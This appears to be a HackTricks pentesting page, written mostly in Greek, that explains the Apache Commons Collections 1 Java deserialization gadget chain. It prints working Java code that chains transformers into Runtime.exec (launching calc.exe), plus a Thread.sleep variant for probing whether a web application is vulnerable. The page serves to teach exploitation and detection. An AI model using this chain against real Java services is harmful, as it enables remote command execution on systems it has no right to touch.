CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

Support HackTricks

Java Transformers to Rutime exec()

Σε αρκετές περιπτώσεις μπορείτε να βρείτε ένα payload απο deserialization java που χρησιμοποιεί transformers από τις Apache common collections όπως το παρακάτω:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Αν δεν γνωρίζετε τίποτα για τα java deserialization payloads, μπορεί να είναι δύσκολο να καταλάβετε γιατί αυτός ο κώδικας θα εκτελέσει ένα calc.

Πρώτα απ' όλα, πρέπει να γνωρίζετε ότι ένας Transformer στην Java είναι κάτι που λαμβάνει μια κλάση και την μετατρέπει σε μια διαφορετική. Επίσης, είναι ενδιαφέρον να γνωρίζετε ότι το payload που εκτελείται εδώ είναι ισοδύναμο με:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Ή πιο ακριβώς, αυτό που θα εκτελείται στο τέλος θα είναι:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Πώς

Λοιπόν, πώς είναι το πρώτο payload που παρουσιάζεται ισοδύναμο με αυτά τα "απλά" one-liners;

Πρώτον, μπορείτε να παρατηρήσετε στο payload ότι δημιουργείται μια αλυσίδα (πίνακας) μετασχηματισμών:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Αν διαβάσετε τον κώδικα θα παρατηρήσετε ότι αν με κάποιον τρόπο αλυσσοδέσετε τη μετατροπή του πίνακα θα μπορούσατε να εκτελέσετε αυθαίρετες εντολές.

Λοιπόν, πώς αλυσσοδένονται αυτές οι μετατροπές;

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

Στην τελευταία ενότητα του payload μπορείτε να δείτε ότι ένα αντικείμενο Map δημιουργείται. Στη συνέχεια, η συνάρτηση decorate εκτελείται από το LazyMap με το αντικείμενο map και τους αλυσιδωτούς μετασχηματιστές. Από τον παρακάτω κώδικα μπορείτε να δείτε ότι αυτό θα προκαλέσει την αντιγραφή των αλυσιδωτών μετασχηματιστών μέσα στο χαρακτηριστικό lazyMap.factory:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

Και τότε εκτελείται ο μεγάλος τελικός: lazyMap.get("anything");

Αυτός είναι ο κώδικας της συνάρτησης get:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

Και αυτός είναι ο κώδικας της συνάρτησης transform

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Έτσι, θυμηθείτε ότι μέσα στο factory είχαμε αποθηκεύσει chainedTransformer και μέσα στη transform συνάρτηση περνάμε από όλους αυτούς τους αλυσίδωτους μετασχηματιστές και εκτελούμε ο ένας μετά τον άλλο. Το αστείο είναι ότι κάθε μετασχηματιστής χρησιμοποιεί object ως είσοδο και το object είναι η έξοδος από τον τελευταίο μετασχηματιστή που εκτελέστηκε. Επομένως, όλοι οι μετασχηματισμοί εκτελούνται αλυσίδωτα εκτελώντας το κακόβουλο payload.

Περίληψη

Στο τέλος, λόγω του πώς διαχειρίζεται το lazyMap τους αλυσίδωτους μετασχηματιστές μέσα στη μέθοδο get, είναι σαν να εκτελούμε τον παρακάτω κώδικα:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Σημειώστε πώς το value είναι η είσοδος κάθε μετασχηματισμού και η έξοδος του προηγούμενου μετασχηματισμού, επιτρέποντας την εκτέλεση ενός one-liner:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Σημειώστε ότι εδώ εξηγήθηκαν τα gadgets που χρησιμοποιούνται για το ComonsCollections1 payload. Αλλά μένει πώς όλα αυτά αρχίζουν να εκτελούνται. Μπορείτε να δείτε εδώ ότι ysoserial, προκειμένου να εκτελέσει αυτό το payload, χρησιμοποιεί ένα αντικείμενο AnnotationInvocationHandler επειδή όταν αυτό το αντικείμενο αποδομηθεί, θα καλέσει τη συνάρτηση payload.get() που θα εκτελέσει ολόκληρο το payload.

Java Thread Sleep

Αυτό το payload θα μπορούσε να είναι χρήσιμο για να προσδιορίσετε αν το web είναι ευάλωτο καθώς θα εκτελέσει έναν ύπνο αν είναι.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Περισσότερα Gadgets

Μπορείτε να βρείτε περισσότερα gadgets εδώ: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

Υποστηρίξτε το HackTricks

Last updated